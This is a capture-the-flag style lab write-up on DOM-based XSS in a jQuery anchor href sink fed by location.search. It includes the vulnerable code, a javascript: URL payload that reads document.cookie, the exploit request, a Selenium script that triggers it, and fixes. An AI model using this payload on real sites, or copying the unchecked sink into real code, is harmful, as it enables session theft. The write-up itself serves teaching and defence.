DOM XSS in jQuery anchor href attribute sink using location.search source
A client-side jQuery script copies a URL query parameter into an anchor's href with no scheme check, so returnPath=javascript:alert(document.cookie) turns the Back link into a script-runner. Unlike innerHTML sinks, this one only fires when the link is clicked.
Overview
This lab is a DOM-based cross-site scripting (CWE-79) bug. The server sends a clean page; the vulnerability lives entirely in client-side JavaScript that reads attacker-controlled data from the URL and uses it to build a link.
The vulnerable code
The feedback page runs this jQuery:
1
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
Two ingredients make this exploitable:
- A source —
location.search, specifically thereturnPathquery parameter, fully controlled by the attacker. - A sink — jQuery’s
.attr("href", ...), which sets thehrefof the<a id="backLink">Back</a>element to whatever string you give it, with no validation of the URL scheme.
Why a javascript: URL fires
When a browser follows a link whose href begins with javascript:, it executes the rest of the URL as script. Because the code never checks that returnPath is a normal http/https/relative URL, you can hand it a javascript: URL and the Back link becomes a script-runner.
1
javascript:alert(document.cookie)
The key difference from other DOM sinks
In innerHTML or document.write sinks, the payload runs as soon as the page loads. This sink is different: setting an href does not execute anything by itself — the javascript: URL only runs when the link is clicked. So proving the bug requires loading the page and clicking the Back link.
The working request
The payload is delivered entirely in the URL:
1
GET /feedback?returnPath=javascript:alert(document.cookie)
Because the sink runs in the browser and needs a click, you have to drive a real JavaScript engine — curl only sees the clean server response. Loading the page in headless Chromium, reading the modified href, and clicking the link fires the alert, and the lab flips to Solved.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib.parse, time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
base = "https://YOUR-LAB-ID.web-security-academy.net"
url = base + "/feedback?returnPath=" + urllib.parse.quote("javascript:alert(document.cookie)", safe="")
o = Options()
for a in ["--headless=new", "--no-sandbox", "--disable-dev-shm-usage",
"--disable-gpu", "--ignore-certificate-errors"]:
o.add_argument(a)
d = webdriver.Chrome(service=Service("/usr/bin/chromedriver"), options=o)
d.get(url); time.sleep(1)
print("href =", d.find_element("id", "backLink").get_attribute("href"))
d.find_element("id", "backLink").click(); time.sleep(1)
al = d.switch_to.alert; print("FIRED:", al.text); al.accept()
d.quit()
The fix
- Validate the URL scheme before assigning it to an
href: allow onlyhttp:/https:or relative paths, and rejectjavascript:anddata:URLs. - Do not pass
location.searchvalues straight into.attr("href", ...)— sanitize or allow-list them first. - As defense in depth, ship a Content-Security-Policy that blocks inline script execution.